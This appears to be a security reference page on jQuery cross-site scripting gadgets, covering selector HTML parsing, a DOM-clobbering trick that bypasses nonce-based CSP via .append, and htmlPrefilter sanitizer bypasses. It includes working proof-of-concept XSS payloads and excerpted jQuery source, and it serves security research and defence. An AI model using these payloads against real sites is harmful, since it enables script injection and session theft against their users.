jQuery is a fast, small, and feature-rich JavaScript library. It makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers. With a combination of versatility and extensibility, jQuery has changed the way that millions of people write JavaScript.
In the past, jQuery was vulnerable to XSS when an HTML string was passed to the $("<html-input>") function as the selector. This was widely abused, especially with $(location.hash), because browsers were URL-decoding location.hash. The issue was fixed in 2011 by ensuring that HTML parsing only occurs when the string begins with <. Because of this, fully controlling a jQuery selector allows to execute javascript.
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.js"></script>
<script >
$(document).ready(function(){
// user input
$("<img src=x onerror=alert(document.domain)>");
});
</script>
Related links:
Found by dmethvin.
This one works with every jQuery methods that manipulate HTML elements (see $(".child" on the right)) → .after, .before, .append, .prepend, .html, .text, .replaceWith, .wrap, .wrapAll, .wrapInner, etc.
<script nonce="secret" src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.js"></script>
<script nonce="secret">
$(document).ready(function(){
$( ".container" ).append( $( ".child" ) );
});
</script>
<!-- user input -->
<form class="child"><input name="ownerDocument"/><script>alert(document.domain);</script></form>
<p class="container"></p>
Related links:
Found by @slekies, @kkotowicz, @sirdarckcat.
jQuery used to normalize HTML before inserting it into the DOM using the jQuery.htmlPrefilter function. This made it easy to bypass sanitizers like DOMPurify.
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
<script>
$(document).ready(function() {
$(document.body).html(`
<!-- user input -->
<style><x x="><style/><img src=x onerror=alert(document.domain)>"></x></style>
`);
});
</script>
Root Cause
html: function( value ) {
return access( this, function( value ) {
var elem = this[ 0 ] || {},
i = 0,
l = this.length;
if ( value === undefined && elem.nodeType === 1 ) {
return elem.innerHTML;
}
// See if we can take a shortcut and just use innerHTML
if ( typeof value === "string" && !rnoInnerhtml.test( value ) &&
!wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) {
value = jQuery.htmlPrefilter( value );
try {
for ( ; i < l; i++ ) {
elem = this[ i ] || {};
// Remove element nodes and prevent memory leaks
if ( elem.nodeType === 1 ) {
jQuery.cleanData( getAll( elem, false ) );
elem.innerHTML = value;
}
}
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
},
Related links:
Found by @kinugawamasato.